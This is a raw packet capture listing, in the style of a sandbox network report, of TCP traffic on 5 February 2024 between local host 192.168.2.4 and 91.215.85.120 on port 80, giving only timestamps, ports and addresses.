Feb 5, 2024 10:57:22.231586933 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231589079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231602907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231615067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231617928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231626987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231638908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231642008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231656075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231667995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231672049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231682062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231693983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231698036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231707096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231719017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231723070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231731892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231745958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231754065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231759071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231770992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231771946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231785059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231796026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231797934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231812000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231823921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231828928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231837988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231851101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231864929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231864929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231878042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231884003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231890917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231904030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231909990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231918097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231930971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231945038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231945038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231959105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231964111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231976032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.231981993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.231990099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232002974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232013941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232013941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232027054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232038021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232040882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232054949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232064962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232068062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232081890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232091904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232157946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232171059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232181072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232192993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232204914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232207060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232217073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232228041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232237101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232243061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232258081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232259989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232268095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232280016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232290983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232296944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232302904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232314110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232321024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232326984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232331991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232340097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232352972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232362986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232369900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232376099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232388973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232398033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232402086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232414961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232414961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232426882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232430935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232444048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232454062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232455015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232469082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232481003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232492924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232494116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232506990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232518911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232522964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232532024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232537031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232549906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232562065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232564926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232589960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232599974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232611895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232624054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232635021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232649088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232652903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232666016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232677937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232681990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232692957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232707024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232717037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232738972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232750893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232763052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232774019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232777119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232785940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232798100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232803106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232810020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232821941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232825041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232834101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232846975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232851028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232858896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232871056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232881069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232884884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232893944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232906103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232909918 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232918024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232920885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232930899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232943058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232954025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232959986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232966900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232979059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.232990980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.232992887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233006001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233022928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233022928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233041048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233074903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233088017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233099937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233112097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233124018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233129978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233136892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233150005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233155012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233161926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233174086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233184099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233190060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233196020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233210087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233222961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233222961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233234882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233243942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233247995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233261108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233266115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233273983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233285904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233285904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233300924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233300924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233314991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233325958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233326912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233339071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233351946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233355999 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233364105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233378887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233387947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233390093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233402967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233413935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233416080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233428955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233429909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233443975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233458042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233488083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233495951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233500957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233511925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233525038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233536005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233546972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233551025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233560085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233572960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233577013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233584881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233592987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233598948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233612061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233619928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233624935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233635902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233644962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233649015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233656883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233664036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233675957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233685970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233694077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233697891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233711004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233715057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233722925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233735085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233737946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233747005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233758926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233769894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233772993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233782053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233794928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233803988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233805895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233818054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233822107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233830929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233861923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233908892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233922958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233932972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233944893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233957052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233972073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233973980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233983994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.233995914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.233999014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234005928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234014988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234026909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234038115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234044075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234050989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234061956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234071970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234072924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234085083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234093904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234098911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234111071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234116077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234122992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234134912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234143972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234148026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234155893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234160900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234177113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234188080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234189987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234200001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234208107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234211922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234225035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234235048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234240055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234251976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234263897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234270096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234278917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234291077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234294891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234303951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234314919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234318972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234328985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234340906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234352112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234357119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234363079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234375000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234379053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234386921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234388113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234399080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234411001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234420061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234421968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234433889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234446049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234447956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234458923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234461069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234474897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234484911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234486103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234497070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234508991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234509945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234520912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234533072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234543085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234546900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234560013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234565973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234571934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234584093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234591961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234596014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234607935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234620094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234631062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234637022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234646082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234647036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234658003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234669924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234669924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234680891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234690905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234702110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234704018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234714031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234726906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234738111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234739065 CET	80	49735	91.215.85.120	192.168.2.4
